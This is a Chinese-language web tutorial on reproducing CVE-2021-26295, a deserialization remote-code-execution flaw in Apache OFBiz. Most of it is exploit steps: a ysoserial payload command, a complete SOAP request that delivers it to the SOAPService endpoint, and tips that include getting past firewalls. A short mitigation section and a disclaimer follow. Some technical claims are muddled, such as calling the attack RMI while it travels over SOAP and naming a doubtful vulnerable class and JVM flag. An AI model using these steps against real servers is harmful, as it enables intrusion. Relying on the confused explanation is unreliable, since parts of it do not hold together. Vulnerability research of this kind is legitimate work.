您好,登录后才能下订单哦!
# 如何实现Apache OFBiz RMI反序列化漏洞CVE-2021-26295的复现
## 漏洞概述
CVE-2021-26295是Apache OFBiz框架中存在的一个Java反序列化漏洞,影响版本为17.12.01至17.12.06。攻击者通过构造恶意RMI请求,可在目标服务器上实现远程代码执行(RCE)。该漏洞源于OFBiz未对RMI接口接收的序列化数据进行安全校验。
## 环境准备
### 1. 漏洞环境搭建
```bash
# 下载受影响版本的OFBiz
wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.04.zip
unzip apache-ofbiz-17.12.04.zip
cd apache-ofbiz-17.12.04
# 启动服务(默认监听8080端口)
./gradlew ofbiz
OFBiz默认在10500-10599
端口范围启动RMI服务,可通过以下命令确认:
netstat -antp | grep java
使用ysoserial生成CommonsBeanutils1链的payload:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/poc_success" > payload.ser
通过RMI协议发送序列化数据到/webtools/control/SOAPService
端点:
POST /webtools/control/SOAPService HTTP/1.1
Host: target_ip:8080
Content-Type: application/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-HashMap>
<map-Entry>
<map-Key>
<cus-obj>BASE64_ENCODED_PAYLOAD</cus-obj>
</map-Key>
<map-Value>
<std-String value="poc"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>
将BASE64_ENCODED_PAYLOAD替换为
payload.ser
文件的Base64编码
检查目标服务器是否创建了测试文件:
ls -la /tmp/poc_success
漏洞触发路径:
1. OFBiz的org.apache.ofbiz.service.rmi.socket.ssl.RMISSLClientSocketFactory
类在反序列化RMI数据时未做过滤
2. 攻击者通过SOAP接口注入恶意序列化对象
3. 服务端使用ObjectInputStream
直接反序列化导致RCE
关键危险代码片段:
// 存在问题的反序列化操作
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // 危险的反序列化点
官方解决方案:
临时缓解措施:
<!-- 在framework/webtools/webapp/WEB-INF/web.xml中添加 -->
<security-constraint>
<url-pattern>/webtools/control/SOAPService</url-pattern>
<auth-constraint>ADMIN</auth-constraint>
</security-constraint>
免责声明:本文仅用于安全研究目的,请勿用于非法用途。在实际测试前务必获得目标系统的书面授权。 “`
注:实际复现时需注意:
1. 需关闭OFBiz的JVM安全管理器(如设置-Djava.security.manager=allow
)
2. 不同JDK版本可能影响ysoserial的利用效果
3. 真实环境中可能需要绕过防火墙等网络限制
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。